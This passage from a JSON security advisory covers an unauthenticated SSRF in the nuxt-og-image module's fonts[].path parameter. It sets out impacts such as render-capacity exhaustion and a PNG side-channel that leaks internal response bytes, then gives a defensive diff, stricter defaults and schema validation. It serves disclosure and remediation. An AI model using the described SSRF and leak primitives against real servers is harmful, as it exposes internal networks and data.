`renderTimeout` (15 s) the OG image rendering capacity is exhausted with very low attacker bandwidth.\n- **Side-channel exfil with reflectable bytes**: where an internal HTTP response contains data that happens to render through Satori\u0027s glyph fallback path (e.g. plain ASCII status-page text), bytes can leak into the rendered PNG as visual noise - an opportunistic read primitive.\n\n### Fix\n\n#### Short-term (must-have before next release)\n\nIn `dist/runtime/server/og-image/bindings/font-assets/node.js`, validate the URL before issuing `fetch`:\n\n```diff\n+ import { isPrivateAddress } from \u0027../../util/isPrivateAddress.js\u0027  // new helper, see below\n\n  export async function resolve(event, font) {\n    const path = font.src || font.localPath\n    const { app } = useRuntimeConfig()\n    const fullPath = withBase(path, app.baseURL)\n    const origin = getNitroOrigin(event)\n+\n+   const target = new URL(fullPath, origin)\n+\n+   // (1) Scheme allowlist\n+   if (target.protocol !== \u0027http:\u0027 \u0026\u0026 target.protocol !== \u0027https:\u0027) {\n+     throw createError({ statusCode: 400, statusMessage: \u0027[og-image] Disallowed font URL scheme\u0027 })\n+   }\n+\n+   // (2) Same-origin OR explicit user allowlist\n+   const allowlist = useOgImageRuntimeConfig().security?.fontHostAllowlist ?? []\n+   const sameOrigin = target.origin === new URL(origin).origin\n+   if (!sameOrigin \u0026\u0026 !allowlist.includes(target.host)) {\n+     throw createError({ statusCode: 400, statusMessage: \u0027[og-image] Font host not in allowlist\u0027 })\n+   }\n+\n+   // (3) Block private / loopback / link-local at lookup time (DNS-rebinding-safe)\n+   if (await isPrivateAddress(target.hostname)) {\n+     throw createError({ statusCode: 400, statusMessage: \u0027[og-image] Private network not allowed\u0027 })\n+   }\n+\n    const timeout = getFetchTimeout(useOgImageRuntimeConfig())\n    const res = await fetch(target.href, {\n      signal: AbortSignal.timeout(timeout),\n+     redirect: \u0027manual\u0027,                  // do not follow redirects across the gate\n    }).catch(() =\u003e null)\n    if (res?.ok) return Buffer.from(await res.arrayBuffer())\n    ...\n  }\n```\n\n`isPrivateAddress(host)` should resolve the host via DNS (caching) and reject if **any** resolved address is in `127.0.0.0/8`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `169.254.0.0/16`, `::1`, `fc00::/7`, `fe80::/10`. The resolved address must then be **pinned** and passed into `fetch` (or `undici`\u0027s `lookup` option) so the TCP connection cannot rebound to a different IP after the check (TOCTOU / DNS rebinding defense).\n\nApply the same validator in `dist/runtime/server/og-image/bindings/font-assets/dev-prerender.js`.\n\n#### Flip the security defaults (medium-term)\n\n```diff\n- strict:                       config.security?.strict ?? false,\n+ strict:                       config.security?.strict ?? true,\n\n- restrictRuntimeImagesToOrigin: config.security?.restrictRuntimeImagesToOrigin ?? false,\n+ restrictRuntimeImagesToOrigin: config.security?.restrictRuntimeImagesToOrigin ?? true,\n```\n\nWhen `strict` is `true`, the runtime should refuse to start with `secret === \u0027\u0027` and emit a clear error pointing to the docs (similar to how Nuxt itself errors when `runtimeConfig` secrets are unset in production).\n\n#### Defense in depth (long-term)\n\n- Validate `fonts[*]` shape at decode time in `decodeOgImageParams`. Reject any `fonts[i].path` that is not a relative path or in the allowlist.\n- Tighten `COMPLEX_PARAMS`: every JSON-parsed key (`satori`, `resvg`, `sharp`, `screenshot`, `takumi`, `fonts`) must have a schema validator. Today they are blind-trusted across the URL boundary.\n- Document `nuxt-og-image`\u0027s threat model explicitly: which URL parameters are attacker-controlled by design, which `runtimeConfig` keys must be set in production, which defaults are unsafe.",
  "id": "GHSA-q8hw-4fvp-9rwv",
  "modified": "2026-09-17T14:48:56Z",
  "published": "2026-09-17T14:48:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nuxt-modules/og-image/security/advisories/GHSA-q8hw-4fvp-9rwv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt-modules/og-image/pull/637"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt-modules/og-image/commit/243cac2228671d3711c2bd65e300c278fcdf5a4e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nuxt-modules/og-image"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt-modules/og-image/releases/tag/v6.7.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Nuxt OG Image has unauthenticated SSRF via `fonts[].path` URL parameter"
}